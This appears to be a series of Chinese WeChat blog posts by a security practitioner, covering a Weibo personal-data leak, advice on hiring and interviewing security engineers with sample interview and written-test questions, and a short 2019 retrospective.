• 个人信息是指以电子或者其他方式记录的能够单独或者和其它信息结合识别自然人个人身份的各种信息，包括但不限于自然人的姓名、出生日期、身份证件号码、个人生物识别信息、住址、电话号码等。

对企业安全建设的反省

安全意识

现在的网络安全已经不是15年甚至更之前的时候了，那时候泄漏开房数据、账号密码、购票记录，好像企业内部处理了就完了，也没什么法律责任。但如今网络安全行业已经有各种完善的法律法规来界定职责、规范做法和违法处罚。《网络安全法》、《网络安全等级保护制度》、《互联网个人信息安全保护指南》都有明确规定，敏感数据泄漏不再是仅仅影响企业自身，也不再是企业内部自己解决就结束了，而是要先符合法律法规。每一个从事企业安全建设的人都要及时更新安全意识，对这类触及个人隐私要有高度敏感的安全意识，切勿把历史安全意识作为处理安全事件的经验。

老板没安全意识，安全人员不能没有安全意识。安全人员从始至终一直有一条责任，我们需要去提升老板、开发、产品、运营的安全意识。

增量需求安全评估

这个业务场景就是非常典型的可以通过安全评估来发现其中风险，自动化漏洞扫描器往往不太容易发现这类涉及业务场景的风险。和PD及技术一起探讨解决关键的爆破风险，接口签名/传输加密/调试检测等基础先不谈，对于通讯录大小限制、随机取数、频率控制、不同维度不同时间片的总数控制等异常行为策略，让业务方意识到风险点，把握安全策略和产品体验的平衡。

存量业务安全摸底

此时如果这个需求安全来之前就有了，那就需要对这类历史存量的业务进行安全摸底，尤其涉及到业务场景类的漏洞，比如无鉴权、水平越权、垂直越权、流程绕过、频率控制等等，先从涉及敏感信息的接口开始，也能发现这类问题。

威胁感知与响应

存量业务安全摸底也没兜住？针对这类涉及传输敏感信息的泄漏被大量异常调用了没发现说不过去吧？至于知道后如何应急响应的我不知道如何做的，有没有复盘来避免再出现同类漏洞、有没有做存量横向排查、有没有通知管理层/PR、有没有做好被利用的缓解措施、有没有有没有...

FastJSON 0day

这事情和FastJSON 0day有啥关系呢？如果这次缘起于0day类型漏洞导致的信息泄漏，我相信绝大多数安全从业者都能理解微博安全团队，毕竟现在整个行业也没有几家能做好0day防御的。其次出现事件后我们不仅没看到积极面对处置，却是安全意识的薄弱。导致现在我的微信朋友圈里，大家都在发这件事的各种截图来表达对他们安全意识的惊讶。

这周末无数安全人在熬夜通宵发布来修复这一次FastJSON RCE 0day，我们作为安全工程师能为自己的公司安全去努力，为的就是保护用户数据不被泄漏，我也希望微博安全在职责范围内能力所能及的做好来保护每一个用户的每一个字段不被泄漏。作为微博一名普通用户，我的数据在微博上，我能做的安全措施已经很受限了，我希望看到的是微博重视我们的个人隐私数据，而不是让普通用户学会如何保护自己的数据不被泄漏。

未开通留言功能，有任何想法可通过本公众号聊天窗口和作者进行更加深入沟通。

阅读原文

跳转微信打开

“ 人是一切的开始，也是一切的基础。”

理解行业现状

既然从事这个行业，必然需要去理解这个行业历史和现状，在招聘的时候能够更加有底。

薪酬最高+上升无限可能

互联网是计算机行业中薪酬最高的，工程师是互联网中薪酬最高的，而安全工程师又是工程师中最高之一。安全行业井喷式的爆发，使得每家互联网企业的安全部门成为标配，高校的安全专业普及开来，作为一个“新型行业”，安全从业人员紧缺且入门门槛较高从而导致了薪酬水涨船高。
我们应该经常自省下，客观的看待下自己的日常工作是否对得起这份薪资。行业中不乏大量因选对行业而在吃这个行业红利的人，当然也有很多热爱这个行业实实在在的为公司甚至行业做出提升甚至改变的人。在这个行业里有曾经做工地工人到现在年薪数十万的白帽子，也有毕业没两年业余时间挖漏洞一年收入百万的白帽子，还有那些薪资高达千万的安全研究员。
只要你热爱，在这里存在无限的可能。这个行业很多人的背景极其相似，他们不是从大学才学习专业知识，工作经验可能也不长，但他们可能从初中甚至小学就开始接触专业安全技术。你会发现行业里面的牛人无不是因为热爱而成功的，热爱源源不断的驱使他前进的，当热爱和工作是一件事时，碰触的火花产生的工作效率是不可想像的。

良莠不齐

薪资高的好处是会有更多的人投身于安全，当然坏处也很明显，着急的岗位和紧缺人员导致存在大量良莠不齐的人在其中浑水摸鱼，明显的特征是你跟他聊技术细节他跟你聊推进落地，你跟他聊推进落地他跟你聊方向把控，你跟他聊方向把控他跟你聊团队管理，你跟他聊团队管理他跟你聊行业空间，又或者是今天这里听到一个理论还没弄明白明天就来跟你讲个概念，如果这些方面都能聊一点那也行，更多的是答非所问又或者句句有理但都不深入没有细节没有重点，虽然这么说会得罪一部分人。
安全行业可怕的一点在于，你做的好不好不是那么好衡量的尤其是行业外的人。而这还不像技术风险那样有发生概率，安全是短板效应，该出事一定能出事，所以行业内常说只有三种公司，一种知道自己被黑了，一种不知道自己被黑了，一种在被黑的路上，所以在前两年你会看到一些白帽子能随便入侵到各大公司内部。这样就导致如何甄别这一类人需要在最招聘开始把控住，否则后患无穷。

圈子文化

安全是一个小圈子，圈内的事情传播的非常快，比如谁家数据库泄露了、谁家被薅羊毛了、谁被抓了、谁被处罚了，这也是小圈子最大的好处，圈内的人很快能知道这个行业的新技术、新方向、新政策。你也可以很容易的知道每家公司的安全建设情况，比如你可以和阿里的人聊他们的线下配合公安的手段有多强，也可以和腾讯的人聊他们的SRC如何运营的这么好，也可以和百度的安全人聊如何让机器学习赋能安全产品的，这一切在安全圈内非常的容易。也有很多的安全会议可以学习到每家公司的经验，不用所有的事情都自己摸索也用闭门造车。
弊端也很明显，搞所谓的”圈子文化“，混迹于各种会议去主动认识各种圈内的人（当然这里不是指各家SRC运营的同学，这些是运营同学的工作一部分），认识的各种人如果是交流技术那也行，加了微信除了打招呼的自我介绍那句话就再也没说过有意义的东西，如何用好圈子文化是两种截然不同的结果。

安全从业者必备素质

当对行业情况有一定了解后，就需要去招人了，招人前我们得先弄明白一个优秀的安全从业者必须具备什么样的素质，当我们有了这个基线后就很容易发现候选人是否合适。

攻防渗透和软件开发

首先要明确一个概念，术业有专攻在安全行业不是常态。安全本身就是一个覆盖了客户端、前端、网络、后端、服务器等涉及软件开发（JavaScript、Python、PHP、Java等各语言）、算法学（密码学、机器学习等）甚至社会工程学的工作，如果非要讲究术业有专攻就没法做了，当你可以有擅长的方向，但前提是你都懂，这个懂不应该停留在了解的层面，如果你是安全开发工程师除了研发技能外还必须知道常见漏洞的形成原因、利用方式和修复方案，如果你是渗透工程师除了理解各种漏洞的攻击细节外，还必须有基本的开发能力。同时拥有攻防渗透和软件开发的人，在后面做事的方方面面会体现出极大的优势。
我们有过很资深研发工程师，但安全产品不同于用户产品，往往是都没有经验也没有参照物的，摸黑前行最好的情况是你曾住过这个房子，所以往往需要有很强的安全背景/不断的试错调整才能开发最好的产品。甚至在很多时候，沟通交流/思维上都需要进行转变才能更好的协作，减少代沟和沟通成本。这个要求并不是非要精通各种。
现状是安全行业更多的人是偏向于攻防渗透，而如果同时拥有很强的开发技能，优势将非常明显。在安全产品开发/漏洞挖掘/代码审计上。不同岗位间的互补显得非常重要，做漏洞扫描器的如果在SRC挖过漏洞、做代码审计如果会软件开发、做合规审计的如果有CISP证书就会得心应手。

自我驱动（兴趣/金钱/上进心/不服输）

像安全产品开发一样，渗透测试也需要不断的试错，不断的将各种可能存在漏洞的地方一一测试，往往测试数百个请求才有所收获，这需要很好的坚持，但坚持这种品质无法立刻学会，但往往有很多东西能促使我们坚持，比如兴趣、金钱、上进心、不服输精神等。我对于安全的坚持就是兴趣所驱动的，我会遇到一个线索从早上折腾到凌晨，会因为一个突破点从晚上摸索到下午。我见过太多优秀的白帽子都是因为热爱，他们能跨行业的热爱。仅仅能驱动自己不断前行远远不够，前行对路太长了你对驱动能量是有枯竭的一天，学会自我激励是一项必备素质，在关键时刻为自己加油。

自主学习

软件工程师是三年换一轮新技术，而安全工程师则是每年都有新的方向。每天都会有新的漏洞/新的攻击方式/新的语言漏洞，每年也会有新的安全技术、安全防御手段、安全方向，而应对别无他法唯学习，良好的自驱自学能力是一切的基础。

除此之外的进阶素质也很重要，基础的情商和智商，你跟别人聊天能快速接收信息，能跟上别人的频道，快速理解别人意图，能和各个团队合作方打好交道。但聪明有才华还不够，如果遇到问题就抱怨也难成事。前行的路上如果一直一帆风顺的话，当遇到一个大浪可能再也起不来了。我们前行的路上会遇到各种坎坷，也许能绕过并忽略这些坎坷，但你也同时丢了这些铲平坎坷的经验。不为任何理由找借口，有条件上，没有条件创造条件上。又聪明又乐观但是油盐不进，看不到自己的问题，也不能妄自菲薄，吸纳各方面的信息让自己的认知更完整。

如何慧眼识人？

招聘和找女朋友一样，朋友同事推荐（内推）的比媒婆（猎头）质量高，媒婆（猎头）推荐的比相亲网站（招聘网站）质量高。我们在招聘是需要遵守一些基本的招聘原则，应该招最适合这个岗位的而非最优秀的人，而优秀的人是值得等的，因此我们不能因为着急而把一些不合适的人招进来，包括招聘的事情一定得自己深度参与而不能把希望寄托于人事，否则现在偷的懒后面会花更多时间精力来填补。

当有大量简历进来后，我们需要快速甄别那些不合格的人。因此一份好的简历确实能提升面试官的好感，讲下我认为的好的简历是什么样的，当然前提是有真才实干。

整体要简洁明了，逻辑结构清晰。要能体现出知识、技能、经历、天赋、人脉。

• 基本信息清晰：姓名、ID、性别、年龄、毕业院校·专业、电话、邮箱、居住地

• 工作&项目经验：注意空档期、担任的角色与分工、公司行业知名度

• 体现技术能力：主要的技术栈以及能佐证的事情

• 其它优势：职业证书、奖项、会议分享、开源项目等

• 工作期望和方向：希望得到一个什么样的工作或自己专注的方向

• 个人评价：全方位的总结，展示出自己的专业技能掌握程度、亮点、优势等等。

• 加分项

• 使用PDF格式，简洁不花哨

• 有GitHub并参与过开源项目，可以写一些自己做过的小项目放上去

• 有个人博客，会写一些经验和问题的解决思路

• 邮箱使用gmail、foxmail或技术类邮箱（php.net）、私人域名邮箱等

完美的面试流程

面试注意项

• 提前约好面试时间和面试方式（电话/现场）

• 做好面试准备：对岗位要求、职责有清晰认识？是否阅读了候选人简历，知晓之前面试评价？本轮面试主要考核点？对候选人的疑惑是什么，感兴趣的是什么？预留足够时间调整好状态？

• 参与每一轮面试考察的重点不相同，了解之前几面的面试评价，从前到后以此考察知识和经验、能力、意愿、动机、个性特质、价值观。

• 准时参与面试，有事情应提前电话沟通到位

• 面试时把握好节奏，及时阻止话多的，多留停顿给话少的

• 面试时不问/不透露公司敏感信息

• 即使只聊一分钟就觉得面试者不合适，也不应该立即挂断，面试应不少于20分钟；时常控制在1个小时以内；

• 及时反馈面试信息，层级、录用意见、不足之处、待下轮考察内容

面试流程

• 自我介绍下个人情况、做过的项目和技能

• 观察谈吐，看思维逻辑是否有条理，沟通交流是否顺畅

• 性格类型是否合适

• 围绕做过的项目进行细节提问，根据岗位不同来提自己关心的问题（重点）

• 考察项目真实性、项目角色及分工

• 对项目的理解程度、掌握程度、思考等

• 遇到解决不了的问题怎么做？

• 考察学习能力和动手解决能力

• CTF、乌云、翻墙、写技术博客、技术书籍、参与GitHub开源项目、常浏览的网站、游戏、电视剧、业余时间干嘛、业内牛人

• 综合体现出其技术热度

• 算法、前端、服务器的掌握程度

• 一些基础算法，比如快速排序、冒泡排序、选择排序、插入排序

• 一些机器学习算法，CNN、RNN、Tensorflow、验证码识别等等

• 前端JavaScript、HTML、CSS掌握程度，调试工具，编码等

• 服务器常用命令、配置、文件权限、进程栈、端口占用、异常日志等

• 自认为自己比身边人的优势

• 挖掘亮点，如何客观看待自己

• 自认为的缺点

• 客观的自我评价，讲自己没有缺点的基本可以不要了

• 最有成就感的事情

• 考察价值观，尤其对于一些未授权渗透甚至黑灰产事情的态度

• 未来职业规划？

• 是否有清晰的职业规划，对自己未来有长远思考

• 和当前岗位对匹配度

• 还有什么要问我的吗？

• 了解面试者所关心的侧重点

问问题的艺术

面试中大部分时间都是在倾听和问问题，如何发现其中的问题点、如何避免毫无连贯性的一问一答、如何问到关键问题点、如何辨别经过修饰的回答等等。如何有效的甄别一些滥竽充数的人，最重要的肯定是面试这道坎。安全圈的东西行业内的人谁都能聊一点，所以一轮面试一定得安全技术负责人亲自把关，深入的倾听和问问题来判断。

避免直接问问题

避免一上来就开始查户口式的询问方式，有点前戏先热热场，让他先从自己的项目开始介绍，围绕着面试者的项目经历为主线，结合实际项目信息把想知道的问题都融入进去。

• 反面例子：你之前项目过程中有什么难点？难点怎么解决的？为什么选这个方案？

• 正面例子：结合他讲到的项目信息，对他提到的问题进行询问，为什么

问问题方法：行为连贯性问法>假设法>引导法

比如之前没有上台演讲过那么去演讲会紧张，相反如果之前有很多演讲经验那么就不会紧张。每个人做当前事情时都会受之前行为影响，那怎么询问能够知道他演讲时是否会紧张呢？

• 问法1:假设你去上台演讲是不是会紧张？

• 问法2:演讲时是不是会紧张？

• 问法3:你上次上台演讲的时候是什么时候？当时演讲主题是什么？当时状态怎么样？

问题要有连贯性，不是直冲主题问演讲是否紧张，而是循序渐进先问一些能让他思考当时实际情况的事情，再转而问主题，没有留下思考的时间。当然反应快的人也能马上转过来隐藏或美化一些信息，这时候就可以询问一些不同角度的数据来结合着判断。

上面三类问题分别对应着三种提问方式：假设性问题、引导性问题、行为连贯性问题。

• 行为连贯性问题：基于行为的连贯性进行提问，一个人过去的行为能预示他未来的行为，比如一个经常迟到的人下次还会迟到。优先使用行为连贯性问题。

• 假设性问题：通过假设某个场景让面试者去应对。除非他讲的内容或历史经验没有能让你切入到行为连贯性问题上，否则就不要用假设性问题。

• 引导性问题：通过给出一个可能的结果来引导面试者回答，对于面试者来说相当于告诉他一个答案了，同时也会影响局限他的思路。大部分情况下都不建议使用引导性问题。

深究每个问题

任何一个问题都可以拆分成多个问题，问清楚事情每个模糊点和逻辑分支才能得到最真实的结果。

例子：面试者讲了之前做了一个针对研发同学将代码上传至GitHub上的监控工具历程。

• 常规面试官：架构是怎么样设计的？规则怎么选？频率限制怎么做的？告警怎么处理的？误报怎么处理的？

• 深究面试官：项目最最重要的点是什么？如何最优解决效率问题？如何突破频率限制？如何最方便的处理告警？如何对告警进行持续优化？告警可以分为几类？历史commit中泄漏信息怎么发现？
  
  

问问题实在发掘候选人的优劣势，但我们的问题会存在片面性。有时候需要一些灵活的问题来帮助候选人自我发挥讲讲自己的优劣势，对我们前面的面试作为一个补充。被问问题一方面我们能看出来面试者所关心的内容，另一方面也能看出对岗位的兴趣程度。

安全面试题目

以下节选部分安全面试题目仅供参考，可融合在面试过程中进行提问。

渗透测试（WEB方向）

• 挑选两到四个不同方向常见和不常见的漏洞，就漏洞原理、利用方式和修复方案进行提问，然后根据回答的情况进行详细深入的二次提问

• Redis未授权访问漏洞如何入侵利用？

• SSRF漏洞原理、利用方式及修复方案？Java和PHP的SSRF区别？

• 宽字节注入漏洞原理、利用方式及修复方案？

• 简述JSONP的业务意义，JSONP劫持利用方式及修复方案？

• CRLF注入原理？

• URL白名单绕过？

• XSS持久化？

• 渗透全流程

• 就漏洞的检测发现进行提问

• 越权问题如何检测？

• 黑盒如何检测XSS漏洞？

• 如果爬取更多的请求？

• 应急思考

• 有哪几种后门实现方式？

• webshell检测有什么方法思路？

• Linux服务器中了木马后，请简述应急思路？

• 遇到新0day(比如Struts2)后，应该如何进行应急响应？

• 新业务上线前可以从哪些方向进行安全评估？

• 现有系统可以从哪些方向进行审计发现其中的安全风险？

• 基础开发

• 简述Python装饰器、迭代器、生成器原理及应用场景？

• 简述Python进程、线程和协程的区别及应用场景？

安全开发（JAVA方向）

• Java基础

• Java虚拟机区域如何划分？

• HashMap和HashTable、ConcurrentHashMap的区别？

• 进程和线程区别，进程间、线程间通信有哪几种方式？

• Java BIO/NIO/AIO是什么？适用哪些场景？

• 算法基础

• 快速排序的过程和复杂度？

• 冒泡排序的过程和复杂度？

• CNN对比RNN区别？

• 业务基础

• 调试工具及异常排查流程？

• 数据库索引结构，什么情况下应该建唯一索引？

• 数据库分页语句如何写？

• 业务安全

• HTTPS交互过程

• OAuth2.0交互过程及其中可能存在的配置不当安全风险

• 对称加密和非对称加密的区别及优缺点

• 获取一个入参url，请求url地址的内容时应注意什么？

• 参数入库前应该如何过滤？

• 过滤器和拦截器原理和应用场景？

• SESSION ID如何不被Javascript读取？

• CSRF的Token如何设计？

• 同源策略？如何实现跨域请求？

安全运营（合规审计方向）

• 对于内控、合规、审计的理解

• 考察其对于要做的事情和岗位要求、公司环境是否匹配

• 考察其大局上考虑是否周全或是片面

• 传统行业和互联网行业的安全建设的区别及各自的优劣势

• 是否能准确的抓住核心原因

• 信息安全等级保护、网络安全法、GDPR

• 挑选一到两个问其对其的来源理解以及落地程度取舍

• 数据安全治理可以用什么思路做？

• 如何通过技术手段实现对异常操作的自动化监控？

• 如何对一个应用进行安全评估？

• 如何对一个应用进行安全审计？

• 如何理解权限分离、最小化权限？

• 考察一些CISP、CISSP的知识点

• 流程的设计

• 挑选一些较为复杂的流程，比如转岗、离职等，如何设计考虑其中的细节

安全架构（安全管理方向）

• 渗透测试、安全研发、安全运营的问题可以挑选的问一些，以确保在各个方向上比较均衡

• 对于企业不同时期、不同阶段、不同体量的安全建设的方法、区别以及侧重

• 你所做过的安全架构图和所期望的安全架构

• 安全与其他团队（运维、研发、测试、GR/PR、内控、高管及三方安全公司）的关系

• 安全建设的理念/方法论理解

• 纵深防御

• 木桶原理

• 由外而内

• 先低后上

• 能口不点

• 最小权限

• 权限分离

• 白名单和黑名单

• 漏洞和误报

• 规则经验和机器学习

• 漏洞危害证明

• 技术管控与意识提升的关系

• 安全推进方法

• 自研OR外采？

• 找到总的核心目标和各个项目的主要目标

• 创新和极致

• 责任分担

• 黑天鹅和灰犀牛

• 衡量企业安全建设的水平

• 不同公司间的安全区别或差别是什么？比如腾讯和阿里，百度和京东

• 如何制定公司安全建设的三年甚至五年计划

• 未来安全行业的发展方向？

安全笔试题目

面试题目往往大同小异，而由于圈子小的原因很容易传播出去，如果做过准备哪怕深入的问也可能有漏网之鱼。而笔试往往能很好的看出来其动手能力，所以应尽可能的出一些无法提前预知、无法网上查询的独有题目。

• 给定一个漏洞靶场，在一定时间内找出最多漏洞数

• 给定一台服务器，在一定时间内找出隐藏的所有后门
  

• 给一个项目场景进行安全评估（e.g.与三方厂商进行API交互）

• 修复一个参数可控的SSRF漏洞

• 读取一个文件第100-200行并发送到一个指定的API接口（着重考察对于各种异常情况的考虑）

• 最快的方式获取100万个子域名请求的响应内容并找出其中真实存在的子域名

受篇幅限制一些问题和做法无法展开来细讲，但万变不离其宗。招聘是工作中最值得投入时间去干的事情，人对了一切问题都不怕。

阅读原文

跳转微信打开

新的一年回过头总会发现时间飞逝的同时伴随着很多感慨，在慢节奏下记录这些感慨汇总成2019的点点滴滴。

阅读原文

跳转微信打开